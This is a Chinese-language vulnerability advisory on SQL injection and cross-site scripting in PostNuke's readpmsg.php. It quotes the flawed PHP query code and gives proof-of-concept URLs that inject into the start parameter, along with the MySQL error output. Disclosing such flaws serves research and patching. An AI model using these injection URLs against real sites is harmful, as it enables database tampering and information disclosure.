PostNuke SQL注入和跨站脚本漏洞
PostNuke是开放源码,开放开发的内容管理系统(CMS)
PostNuke中存在SQL注入和跨站脚本漏洞,PostNuke的readmsg.php脚本没有充分过滤start参数值,攻击者可以提交恶意SQL命令作为此参数数据,导致更改原来的SQL逻辑,可造成数据库更改或信息泄露。
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/modules/Messages/readpmsg.php
=======================
$sql = "SELECT $column[msg_id] AS \"msg_id\",
$column[msg_image] AS \"msg_image\",
$column[subject] AS \"subject\",
$column[from_userid] AS \"from_userid\",
$column[to_userid] AS \"to_userid\",
$column[msg_time] AS \"msg_time\",
$column[msg_text] AS \"msg_text\",
$column[read_msg] AS \"read_msg\"
FROM $pntable[priv_msgs]
WHERE $column[to_userid]='" . (int)pnVarPrepForStore($userdata) . "'";
$resultID =& $dbconn->SelectLimit($sql,1,$start);
if($dbconn->ErrorNo()<>0) {
error_log("DB Error: " . $dbconn->ErrorMsg());
echo $dbconn->ErrorMsg() . "<br />";
forumerror(0005);
}
=======================
首先登陆到postnuke,然后向自己发送消息,之后:
http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0[SQL inj]&total_messages=1
注意:
------
total_messages=1 - total_messages的ID必须存在。
之后就可以看到以下错误消息:
error message :
---------------
========================
You have an error in your SQL syntax; check the manual that corresponds to your MySQL \
server version for the right syntax to use near '[SQL injection],1' at line 10 \
========================

跨站脚本攻击:
============================
http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0'<h1>cXIb8O3 and sp3x - SecurityReason</h1>&total_messages=1
然后就可以得到:
error message :
---------------
========================
You have an error in your SQL syntax; check the manual that corresponds to your MySQL \
server version for the right syntax to use near ''[Our XSS],1' at line 10 \
